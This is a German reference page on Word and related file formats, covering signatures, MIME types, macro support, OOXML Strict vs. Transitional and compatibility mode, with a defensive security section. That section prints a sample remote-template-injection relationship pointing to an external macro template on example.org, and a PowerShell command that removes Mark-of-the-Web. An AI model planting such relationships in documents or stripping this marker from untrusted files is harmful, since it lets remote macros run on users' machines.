⚖️Formate im Vergleich
Welche Endung steht für welchen Container? Wo dürfen Makros stecken? Und was bedeuten „Strict“, „Transitional“ und „Kompatibilitätsmodus“?
📊Die Word-Familie und ihre Verwandten
| Endung | Seit | Container | Signatur | Makros | Standard | MIME-Typ |
|---|---|---|---|---|---|---|
.doc Word 97–2003-Dokument | Word 97 (1997) | CFB / OLE2 (binär) | D0 CF 11 E0 A1 B1 1A E1 | ja – Storage Macros | [MS-DOC], [MS-CFB] (seit 2008 offengelegt) | application/msword Binärstrukturen: FIB, Piece Table, FKPs. Word 6.0/95 nutzten eine ältere Variante. |
.dot Word 97–2003-Vorlage | Word 97 | CFB / OLE2 | D0 CF 11 E0 A1 B1 1A E1 | ja | [MS-DOC] (Flag fDot im FIB) | application/msword Gleiches Format wie .doc, im FIB ist fDot = 1 gesetzt. |
.docx Word-Dokument | Word 2007 | ZIP + OPC + XML | 50 4B 03 04 („PK“) | nein – Word verweigert Makros | ECMA-376, ISO/IEC 29500 | application/vnd.openxmlformats-officedocument.wordprocessingml.document Hauptpart hat den Content-Type …wordprocessingml.document.main+xml. |
.docm Word-Dokument mit Makros | Word 2007 | ZIP + OPC + XML | 50 4B 03 04 | ja – word/vbaProject.bin | ECMA-376 + [MS-OFFMACRO2]/[MS-OVBA] | application/vnd.ms-word.document.macroEnabled.12 vbaProject.bin ist selbst wieder eine CFB-Datei (D0 CF 11 E0 …). |
.dotx Word-Vorlage | Word 2007 | ZIP + OPC + XML | 50 4B 03 04 | nein | ECMA-376 | application/vnd.openxmlformats-officedocument.wordprocessingml.template Wie .docx, nur der Content-Type des Hauptparts lautet …template.main+xml. |
.dotm Word-Vorlage mit Makros | Word 2007 | ZIP + OPC + XML | 50 4B 03 04 | ja | ECMA-376 + [MS-OVBA] | application/vnd.ms-word.template.macroEnabled.12 Typisch für Normal.dotm, die globale Vorlage von Word. |
.rtf Rich Text Format | 1987 | Text (7-Bit, Steuerwörter) | {\rtf1 | keine Makros – aber eingebettete OLE-Objekte | Microsoft RTF Specification 1.9.1 (2008) | application/rtf Lesbar mit jedem Texteditor: {\rtf1\ansi … {\b fett} …}. |
.odt OpenDocument-Text | 2005 (ODF 1.0) | ZIP + XML | 50 4B 03 04 … „mimetype“ | möglich (LibreOffice Basic) | OASIS ODF, ISO/IEC 26300 | application/vnd.oasis.opendocument.text Erster ZIP-Eintrag mimetype, unkomprimiert – daher steht der MIME-Typ ab Byte 38 lesbar in der Datei. |
🔀.doc und .docx im direkten Vergleich
🧱 .doc
- Binär: Offsets, Bitfelder, Little-Endian-Zahlen
- Text über Piece Table verstreut, Formatierung in FKPs
- Teile können ohne Neuschreiben geändert werden (Schnellspeicherung)
- Makros direkt im Dokument möglich
- Parser müssen sehr genau sein – historisch viele Sicherheitslücken
- Keine Kompression: meist größer als die gleiche .docx
🗂️ .docx
- ZIP + XML: mit Bordmitteln lesbar und erzeugbar
- Text und Formatierung zusammen in document.xml
- Datei wird beim Speichern komplett neu geschrieben
- Keine Makros – dafür gibt es .docm
- Offener Standard (ECMA-376 / ISO/IEC 29500)
- Deflate-Kompression; Bilder liegen als eigene Dateien im ZIP
📐Strict vs. Transitional
ISO/IEC 29500 kennt zwei Konformitätsstufen. Transitional enthält Altlasten, damit alte Binärdokumente verlustfrei übertragen werden können; Strict lässt sie weg und nutzt eigene Namensräume.
| Aspekt | Transitional | Strict |
|---|---|---|
| Namensraum w: | http://schemas.openxmlformats.org/wordprocessingml/2006/main | http://purl.oclc.org/ooxml/wordprocessingml/main |
| Namensraum r: | http://schemas.openxmlformats.org/officeDocument/2006/relationships | http://purl.oclc.org/ooxml/officeDocument/relationships |
| Altlasten (VML, Kompatibilitäts-Flags) | erlaubt – für die verlustfreie Umwandlung alter .doc-Dateien | nicht erlaubt |
| Ausrichtung | left / right (und start / end) | nur start / end |
| Word speichert | standardmäßig („Word-Dokument (*.docx)“) | nur auf Wunsch („Strict Open XML-Dokument“, ab Word 2013) |
Beide Varianten tragen die Endung .docx. Ältere Programme (z. B. Word 2007) können Strict-Dateien nicht öffnen.
🕹️Kompatibilitätsmodus
Der Kompatibilitätsmodus steht in
word/settings.xml. Er sorgt dafür, dass ein altes Dokument genauso umbricht wie in der Word-Version, mit der es erstellt wurde.Aktueller Modus – auch Word 2016 bis 2024 und Microsoft 365 schreiben 15.
Beim Öffnen einer .doc arbeitet Word im Kompatibilitätsmodus; Datei → Informationen → Konvertieren hebt den Wert auf 15 an. Der Modus steuert das Layout (Zeilenumbruch, Tabellen, Abstände) – nicht das Dateiformat.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:settings xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:defaultTabStop w:val="708"/> <w:compat> <w:compatSetting w:name="compatibilityMode" w:uri="http://schemas.microsoft.com/office/word" w:val="15"/> </w:compat> </w:settings>
🛡️Sicherheit: Makros, Mark-of-the-Web und externe Inhalte
⚠️ Makros
VBA-Makros können in .doc/.dot (Storage
Macros) und .docm/.dotm (word/vbaProject.bin) stecken, nicht in .docx. Eine .docx mit Makro-Part lehnt Word ab. Die Endung sagt also schon viel – aber nur, wenn sie stimmt: Die Signatur prüfen die Werkzeuge auf dieser Seite.💡 Mark-of-the-Web (MotW)
Browser und Mailprogramme markieren heruntergeladene Dateien unter Windows mit dem NTFS-Datenstrom
Zone.Identifier. ZoneId=3 bedeutet Internet: Word öffnet die Datei in der Geschützten Ansicht, und seit 2022 blockiert Office VBA-Makros aus solchen Dateien standardmäßig.⚠️ Externe Beziehungen
Auch ohne Makros kann eine .docx Inhalte nachladen: eine externe Vorlage (
attachedTemplate in settings.xml.rels, „Remote Template Injection“) oder ein externes OLE-Objekt – so funktionierte „Follina“ (CVE-2022-30190). Der Datei-Untersucher unter Werkzeuge listet externe Ziele auf.✅ Metadaten
docProps/core.xml bzw. \x05SummaryInformation enthalten Autor und Bearbeiter. Vor der Weitergabe: Datei → Informationen → Auf Probleme überprüfen → Dokument prüfen.PowerShell: Mark-of-the-Web ansehen und entfernen
PS> Get-Content .\angebot.docm -Stream Zone.Identifier [ZoneTransfer] ZoneId=3 ReferrerUrl=https://example.org/ HostUrl=https://example.org/downloads/angebot.docm PS> Unblock-File .\angebot.docm # entfernt den Stream – nur bei vertrauenswürdiger Quelle!
Verdächtige Beziehung in einer .docx
word/_rels/settings.xml.rels <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://example.org/vorlage.dotm" TargetMode="External"/>
Beispiel mit example.org – so sieht das Muster aus, das Sicherheitsscanner suchen.